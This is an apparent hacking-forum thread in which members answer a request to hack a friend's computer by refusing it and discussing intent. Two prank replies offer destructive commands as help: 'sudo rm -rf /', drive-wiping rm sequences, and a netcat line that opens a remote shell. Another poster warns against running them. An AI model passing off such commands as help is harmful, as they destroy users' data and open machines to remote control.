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digip   
sudo rm -rf /

 

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i8igmac   

the heck with these guys. Ill help you... make a bootable kali usb stick or bootable live kali cd...

 

http://docs.kali.org/downloading/kali-linux-live-usb-install

 

A tutorial like Above... once you reboot your compiter into this kali operating system. Paste exactly these commands

	mount /dev/sda1 /tmp
	Rm -rf /tmp
	umount /dev/sda1
	mount /dev/sdb1 /tmp
	rm -rf /tmp
	echo "pwnd by BiGMaC" >/tmp/readme.txt
	umount /dev/sdb1
nc <IP-ADDRESS> -e cmd.exe

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IDNeon   
On 2/18/2017 at 8:57 AM, Teabot 5000 said:

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If you count the "tiktak" each as a "press and depress" sound then the number of written tikks takks etc. are equal to the characters input into the search field.

Amazing consistency, except probably entirely accidental.

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lol we dont do that here its all educationallessons here, an if you do the above your linux machine with be a paper weight pretty much........so dont do what they say above. There are stating to remove the root dic then mount a sda then unmount then pretty much a screen will say PWNED so yea, nothing here for hacking just lessons for educational 

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haze1434   
On ‎16‎/‎02‎/‎2017 at 8:15 AM, hackerz said:

how to hack my friend computer ? i know him IP address and port also

These questions wind me up something chronic.

Would you ask any of the following questions, with no further details?

  • My car is broke, how do I fix it?
  • Something is wrong with me, tell me what?
  • How far is it that I need to go to get somewhere?
  • How long is a piece of string?

No. So don't ask other unanswerable questions like 'How to hack?'.

Also, we wouldn't help you anyway. This is a white-hat forum.

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digip   
2 hours ago, haze1434 said:

These questions wind me up something chronic.

Would you ask any of the following questions, with no further details?

  • My car is broke, how do I fix it?
  • Something is wrong with me, tell me what?
  • How far is it that I need to go to get somewhere?
  • How long is a piece of string?

No. So don't ask other unanswerable questions like 'How to hack?'.

Also, we wouldn't help you anyway. This is a white-hat forum.

I agree with everything except that we would help with questions specific to a task, not an action against a targeted person. It's not a crime to have knowledge, but we don't condone nor will help with people that have malicious intent. This should be common sense, and if users who registered, read all the stuff in the sticky threads, and comments from moderators over the years before throwing lame questions like this out there, they'd save themselves the trouble and might formulate a constructive question that both benefits themselves, but also the entire forums. Again. Knowing how to do something, break into something, hack something is not so much the issue, as it is your intent, and how you ask that question. We don't care what you do with the knowledge, thats your responsibility, but don't outright expect us to help you commit a crime. You're on your own in this regard.

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Rkiver   

It also called necroposting.

 

Essentially a topic that no one has paid attention to in quite a while, and then posting in it, even though it's a "dead topic". 

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